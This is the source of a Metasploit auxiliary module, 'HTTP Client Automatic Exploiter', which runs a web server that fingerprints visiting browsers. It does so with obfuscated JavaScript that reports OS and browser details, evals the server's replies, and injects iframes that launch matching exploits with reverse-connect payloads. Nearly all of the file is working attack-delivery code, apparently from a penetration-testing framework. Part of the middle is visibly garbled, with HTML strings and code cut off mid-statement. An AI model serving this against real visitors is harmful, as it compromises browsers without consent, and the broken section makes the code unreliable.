##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
# ideas:
# - add a loading page option so the user can specify arbitrary html to
# insert all of the evil js and iframes into
# - caching is busted when different browsers come from the same IP
# - opera historysearch won't work in an iframe
# - some kind of version comparison for each browser
# - is a generic comparison possible?
# 9.1 < 9.10 < 9.20b < 9.20
# 3.5-pre < 3.5 < 3.5.1
# - 'Defanged' action that just prints out detection stuff
require 'msf/core'
require 'rex/exploitation/javascriptosdetect'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'HTTP Client Automatic Exploiter',
'Version' => '$Revision$',
'Description' => %q{
This module uses a combination of client-side and server-side
techniques to fingerprint HTTP clients and then automatically
exploit them.
},
'Author' =>
[
# initial concept, integration and extension of Jerome
# Athias' os_detect.js
'egypt',
],
'License' => BSD_LICENSE,
'Actions' =>
[
[ 'WebServer', {
'Description' => 'Start a bunch of modules and direct clients to appropriate exploits'
} ],
[ 'DefangedDetection', {
'Description' => 'Only perform detection, send no exploits'
} ],
[ 'list', {
'Description' => 'List the exploit modules that would be started'
} ]
],
'PassiveActions' =>
[ 'WebServer', 'DefangedDetection' ],
'DefaultAction' => 'WebServer'))
register_options([
OptAddress.new('LHOST', [true,
'The IP address to use for reverse-connect payloads'
]),
], self.class)
register_advanced_options([
OptString.new('MATCH', [false,
'Only attempt to use exploits whose name matches this regex'
]),
OptString.new('EXCLUDE', [false,
'Only attempt to use exploits whose name DOES NOT match this regex'
]),
OptBool.new('DEBUG', [false,
'Do not obfuscate the javascript and print various bits of useful info to the browser',
false
]),
], self.class)
@exploits = Hash.new
@targetcache = Hash.new
end
def run
if (action.name == 'list')
m_regex = datastore["MATCH"] ? %r{#{datastore["MATCH"]}} : %r{}
e_regex = datastore["EXCLUDE"] ? %r{#{datastore["EXCLUDE"]}} : %r{^$}
framework.exploits.each_module do |name, mod|
if (mod.respond_to?("autopwn_opts") and name =~ m_regex and name !~ e_regex)
@exploits[name] = nil
print_line name
end
end
print_line
print_status("Found #{@exploits.length} exploit modules")
elsif (action.name == 'DefangedDetection')
exploit()
else
start_exploit_modules()
if @exploits.length < 1
print_error("No exploits, check your MATCH and EXCLUDE settings")
return false
end
exploit()
end
end
def setup
init_js = ::Rex::Exploitation::ObfuscateJS.new
init_js << <<-ENDJS
#{js_os_detect}
#{js_base64}
function make_xhr() {
var xhr;
try {
xhr = new XMLHttpRequest();
} catch(e) {
try {
xhr = new ActiveXObject("Microsoft.XMLHTTP");
} catch(e) {
xhr = new ActiveXObject("MSXML2.ServerXMLHTTP");
}
}
if (! xhr) {
throw "failed to create XMLHttpRequest";
}
return xhr;
}
function report_and_get_exploits(detected_version) {
var encoded_detection;
xhr = make_xhr();
xhr.onreadystatechange = function () {
if (xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) {
eval(xhr.responseText);
}
};
encoded_detection = new String();
#{js_debug('navigator.userAgent+"
"')}
for (var prop in detected_version) {
#{js_debug('prop + " " + detected_version[prop] +"
"')}
encoded_detection += detected_version[prop] + ":";
}
#{js_debug('encoded_detection + "
"')}
encoded_detection = Base64.encode(encoded_detection);
xhr.open("GET", document.location + "?sessid=" + encoded_detection);
xhr.send(null);
}
function bodyOnLoad() {
var detected_version = getVersion();
//#{js_debug('detected_version')}
report_and_get_exploits(detected_version);
} // function bodyOnLoad
ENDJS
opts = {
'Symbols' => {
'Variables' => [
'xhr',
'encoded_detection',
],
'Methods' => [
'report_and_get_exploits',
'handler',
'bodyOnLoad',
]
},
'Strings' => true,
}
init_js.update_opts(opts)
init_js.update_opts(js_os_detect.opts)
init_js.update_opts(js_base64.opts)
if (datastore['DEBUG'])
print_status("Adding debug code")
init_js << <<-ENDJS
if (!(typeof(debug) == 'function')) {
function htmlentities(str) {
str = str.replace(/>/g, '>');
str = str.replace(/\\n");
}
}
ENDJS
else
init_js.obfuscate()
end
init_js << "window.onload = #{init_js.sym("bodyOnLoad")};";
@init_html = "
' + myframe + '
'; document.body.innerHTML += (str); } ENDJS opts = { 'Symbols' => { 'Variables' => [ 'written_iframes', 'myframe', 'mybody', 'iframe_idx', 'is_vuln', ], 'Methods' => [ 'write_iframe', ] }, 'Strings' => true, } @js_tests.each { |browser, sploits| next if sploits.length == 0 #print_status("#{client_info[:ua_name]} =? [nil, #{browser}, 'generic']") #if (browser == "generic" || client_info.nil? || [nil, browser].include?(client_info[:ua_name])) if (client_info.nil? || [nil, browser, "generic"].include?(client_info[:ua_name])) # Make sure the browser names can be used as an identifier in # case something wacky happens to them. func_name = "exploit#{browser.gsub(/[^a-zA-Z]/, '')}" js << "function #{func_name}() { \n" sploits.map do |s| # Skip exploits that don't match the client's OS. if (host_info and host_info[:os_name] and s[:os_name]) next unless s[:os_name].include?(host_info[:os_name]) end if s[:vuln_test] # Wrap all of the vuln tests in a try-catch block so a # single borked test doesn't prevent other exploits # from working. js << " is_vuln = false;\n" js << " try {\n" js << s[:vuln_test] + "\n" js << " } catch(e) { is_vuln = false; };\n" js << " if (is_vuln) {" js << " write_iframe('" + exploit_resource(s[:name]) + "'); " js << " }\n" else # If the exploit doesn't provide a way to check # for the vulnerability, just try it and hope for # the best. js << " write_iframe('" + exploit_resource(s[:name]) + "');\n" end end js << "};\n" # end function exploit...() js << "#{js_debug("'exploit func: #{func_name}()'")}\n" js << "#{func_name}();\n" # run that bad boy opts['Symbols']['Methods'].push("#{func_name}") end } if not datastore['DEBUG'] js.obfuscate end response.body = "#{js}" return response end # consider abstracting this out to a method (probably # with a different name) of Auxiliary::Report or # Exploit::Remote::HttpServer def record_detection(cli, request) os_name = nil os_flavor = nil os_sp = nil os_lang = nil arch = nil ua_name = nil ua_ver = nil data_offset = request.uri.index('sessid=') #p request['User-Agent'] if (data_offset.nil? or -1 == data_offset) # then we didn't get a report back from our javascript # detection; make a best guess effort from information # in the user agent string. The OS detection should be # roughly the same as the javascript version on non-IE # browsers because it does most everything with # navigator.userAgent print_status("Recording detection from User-Agent: #{request['User-Agent']}") report_user_agent(cli.peerhost, request) else data_offset += 'sessid='.length detected_version = request.uri[data_offset, request.uri.length] if (0 < detected_version.length) detected_version = Rex::Text.decode_base64(Rex::Text.uri_decode(detected_version)) print_status("JavaScript Report: #{detected_version}") (os_name, os_flavor, os_sp, os_lang, arch, ua_name, ua_ver) = detected_version.split(':') report_host( :host => cli.peerhost, :os_name => os_name, :os_flavor => os_flavor, :os_sp => os_sp, :os_lang => os_lang, :arch => arch ) report_client( :host => cli.peerhost, :ua_string => request['User-Agent'], :ua_name => ua_name, :ua_ver => ua_ver ) report_note( :host => cli.peerhost, :type => 'http_request', :data => "#{@myhost}:#{@myport} #{request.method} #{request.resource} #{os_name} #{ua_name} #{ua_ver}" ) end end # If the database is not connected, use a cache instead. # This is less reliable because we're not treating different user # agents from the same IP as different hosts. if (!get_client(cli.peerhost, request['User-Agent'])) print_status("No database, using targetcache instead") @targetcache ||= {} @targetcache[cli.peerhost] ||= {} @targetcache[cli.peerhost][:update] = Time.now.to_i # Clean the cache rmq = [] @targetcache.each_key do |addr| if (Time.now.to_i > @targetcache[addr][:update]+60) rmq.push addr end end rmq.each {|addr| @targetcache.delete(addr) } # Keep the attributes the same as if it were created in # the database. @targetcache[cli.peerhost][:update] = Time.now.to_i @targetcache[cli.peerhost][:ua_string] = request['User-Agent'] @targetcache[cli.peerhost][:ua_name] = ua_name @targetcache[cli.peerhost][:ua_ver] = ua_ver end end # Override super#get_client to use a cache in case the database # is not available. It might be a good idea to do this by default, # essentially creating an in-memory database. The upside is that it works # if the database is broken. The downside of course is that querying from # a hash is not as simple or efficient as a database. def get_client(host, ua) return super(host, ua) || @targetcache[host] end def build_iframe(resource) ret = '' if (action.name == 'DefangedDetection') ret << "iframe #{resource}
" else ret << "" #ret << "" end return ret end def exploit_resource(name) if (@exploits[name] && @exploits[name].respond_to?("get_resource")) #print_line("Returning '#{@exploits[name].get_resource}', for #{name}") return @exploits[name].get_resource else print_error("Don't have an exploit by that name, returning 404#{name}.html") return "404#{name}.html" end end def js_debug(msg) if datastore['DEBUG'] return "document.body.innerHTML += #{msg};" end return "" end end